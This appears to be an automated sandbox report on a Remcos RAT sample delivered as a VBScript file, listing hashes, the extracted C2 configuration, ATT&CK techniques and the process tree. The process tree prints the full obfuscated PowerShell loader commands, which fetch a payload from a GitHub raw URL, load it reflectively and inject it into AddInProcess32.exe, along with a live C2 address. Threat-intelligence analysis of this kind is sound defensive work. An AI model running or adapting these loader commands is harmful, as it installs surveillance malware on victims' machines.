remcos | c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793

General

Target

c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793.vbs
Size

483KB
MD5

f263136dd6f26628d6e5fbc4f52f1c0a
SHA1

294f56a012b9a3567ffd4b49a348a68cc64c73f8
SHA256

c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793
SHA512

3b728b0b0014125f23b8dfb5a7c06a6293a301971b127474bfbd59a96b4528123e0081cd90989e41bd5e5be8b04f4cf465a385fe637b4f0368344206d5c1aca5
SSDEEP

12288:RGMsp3SuzEPHa8ZVVCRl0pzCwxn9Ki+GtW2r7aPZy6PLAAIbgTNixeQJbkLFjOnd:RGNQ7H+xC99

Score

10^/10

remcos inry discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

INRY

C2

025sep.duckdns.org:3000

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-Q0TS8L
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	3440	powershell.exe
14	3440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1600	powershell.exe
3440	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
5	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3440 set thread context of 2608	3440	powershell.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1600	powershell.exe
1600	powershell.exe
3440	powershell.exe
3440	powershell.exe
3440	powershell.exe
3440	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	3440	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2608	AddInProcess32.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4080 wrote to memory of 1600	4080	WScript.exe	82
PID 4080 wrote to memory of 1600	4080	WScript.exe	82
PID 1600 wrote to memory of 3440	1600	powershell.exe	84
PID 1600 wrote to memory of 3440	1600	powershell.exe	84
PID 3440 wrote to memory of 3736	3440	powershell.exe	85
PID 3440 wrote to memory of 3736	3440	powershell.exe	85
PID 3440 wrote to memory of 3736	3440	powershell.exe	85
PID 3440 wrote to memory of 2608	3440	powershell.exe	86
PID 3440 wrote to memory of 2608	3440	powershell.exe	86
PID 3440 wrote to memory of 2608	3440	powershell.exe	86
PID 3440 wrote to memory of 2608	3440	powershell.exe	86
PID 3440 wrote to memory of 2608	3440	powershell.exe	86
PID 3440 wrote to memory of 2608	3440	powershell.exe	86
PID 3440 wrote to memory of 2608	3440	powershell.exe	86
PID 3440 wrote to memory of 2608	3440	powershell.exe	86
PID 3440 wrote to memory of 2608	3440	powershell.exe	86
PID 3440 wrote to memory of 2608	3440	powershell.exe	86
PID 3440 wrote to memory of 2608	3440	powershell.exe	86
PID 3440 wrote to memory of 2608	3440	powershell.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigodkFyaWFiTGUgJypNRFIqJykubkFtRVszLDExLDJdLUpvSU4nJykoICgoJ3swfXUnKydybCA9IHsnKycxJysnfWh0dHBzOicrJy8vcmF3LmdpdGh1YicrJ3VzZXInKydjbycrJ250ZW50LmMnKydvbS8nKydOb0RldGVjdE9uL05vRCcrJ2V0JysnZWN0JysnT24vcmUnKydmcycrJy8nKydoJysnZWFkJysncy9tYScrJ2luL0RldGFoJysnTicrJ290aC0nKydWLicrJ3QnKyd4dCcrJ3sxfTsnKycgezB9YmFzZTY0Q29udGVudCcrJyAnKyc9IChOZXctT2JqZWMnKyd0JysnIFN5Jysnc3QnKydlbS5OJysnZXQuVycrJ2ViQ2wnKydpJysnZW4nKyd0JysnKScrJy5EJysnb3duJysnbG8nKydhJysnZFMnKyd0cmluZycrJygnKyd7MH11cmwpOyB7MH1iaW5hcnlDJysnb250ZScrJ250ICcrJz0gW1MnKyd5cycrJ3QnKydlbScrJy5DbycrJ252ZXJ0XTo6RnJvbScrJ0JhJysncycrJ2U2JysnNCcrJ1N0cicrJ2luZyh7JysnMH1iJysnYXNlJysnNjQnKydDb24nKyd0ZW50KTsgJysneycrJzB9YXMnKydzZScrJ21ibCcrJ3kgPScrJyAnKydbUicrJ2UnKydmJysnbCcrJ2VjdGlvJysnbicrJy4nKydBc3NlbWJseScrJ106OicrJ0xvYScrJ2QoJysneycrJzB9YicrJ2luYScrJ3InKyd5QycrJ29udGUnKydudCk7JysnICcrJ1snKydkbmxpYi5JTycrJy5Ib21lJysnXScrJzo6VkEnKydJJysnKCcrJ3syfTAnKycvOVpsbScrJzIvZC8nKydlZScrJy5ldHMnKydhcCcrJy8vOnNwdHRoeycrJzJ9LCB7Mn1kZXMnKydhdGknKyd2JysnYWRvezJ9LCB7MicrJ31kZScrJ3MnKydhdCcrJ2l2YWQnKydveycrJzJ9LCcrJyAnKyd7JysnMicrJ31kZXNhdGknKyd2JysnYScrJ2QnKydvezJ9LCAnKyd7MicrJ31BZGRJJysnblByJysnb2MnKydlc3MzMicrJ3syJysnfSwgezJ9ezJ9LHsyfXsyJysnfSknKS1mIFtjaGFyXTM2LFtjaGFyXTM5LFtjaGFyXTM0KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((vAriabLe '*MDR*').nAmE[3,11,2]-JoIN'')( (('{0}u'+'rl = {'+'1'+'}https:'+'//raw.github'+'user'+'co'+'ntent.c'+'om/'+'NoDetectOn/NoD'+'et'+'ect'+'On/re'+'fs'+'/'+'h'+'ead'+'s/ma'+'in/Detah'+'N'+'oth-'+'V.'+'t'+'xt'+'{1};'+' {0}base64Content'+' '+'= (New-Objec'+'t'+' Sy'+'st'+'em.N'+'et.W'+'ebCl'+'i'+'en'+'t'+')'+'.D'+'own'+'lo'+'a'+'dS'+'tring'+'('+'{0}url); {0}binaryC'+'onte'+'nt '+'= [S'+'ys'+'t'+'em'+'.Co'+'nvert]::From'+'Ba'+'s'+'e6'+'4'+'Str'+'ing({'+'0}b'+'ase'+'64'+'Con'+'tent); '+'{'+'0}as'+'se'+'mbl'+'y ='+' '+'[R'+'e'+'f'+'l'+'ectio'+'n'+'.'+'Assembly'+']::'+'Loa'+'d('+'{'+'0}b'+'ina'+'r'+'yC'+'onte'+'nt);'+' '+'['+'dnlib.IO'+'.Home'+']'+'::VA'+'I'+'('+'{2}0'+'/9Zlm'+'2/d/'+'ee'+'.ets'+'ap'+'//:sptth{'+'2}, {2}des'+'ati'+'v'+'ado{2}, {2'+'}de'+'s'+'at'+'ivad'+'o{'+'2},'+' '+'{'+'2'+'}desati'+'v'+'a'+'d'+'o{2}, '+'{2'+'}AddI'+'nPr'+'oc'+'ess32'+'{2'+'}, {2}{2},{2}{2'+'})')-f [char]36,[char]39,[char]34) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3440
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:3736
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\registros.dat

Filesize
144B

MD5
6979ad5f99c6f19de616485d2750bd87

SHA1
5caa63d78ffc1aa22f7a5d887debfdfb6126f6db

SHA256
84620536abdc438f17c3e2e106e16a1af9ba2ba888ff544d240c197e00eb1891

SHA512
25f0eaaaf291aabbeccfc4fe01f5b560fd9adb3be46c9e96b8830be91fcd7b6af0557554c058b16ff50cb050a63448452f24fdcb760eab0db045ba10393acee6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3ca1082427d7b2cd417d7c0b7fd95e4e

SHA1
b0482ff5b58ffff4f5242d77330b064190f269d3

SHA256
31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

SHA512
bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dq3r3svd.vbq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1600-1-0x00000225FCFE0000-0x00000225FD002000-memory.dmp

Filesize
136KB

Download
memory/1600-11-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

Filesize
10.8MB

Download
memory/1600-12-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

Filesize
10.8MB

Download
memory/1600-0-0x00007FFF2CB43000-0x00007FFF2CB45000-memory.dmp

Filesize
8KB

Download
memory/1600-30-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

Filesize
10.8MB

Download
memory/2608-32-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-34-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-23-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-26-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-53-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-54-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-62-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2608-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3440-22-0x0000015D23F10000-0x0000015D24130000-memory.dmp

Filesize
2.1MB

Download

Analysis

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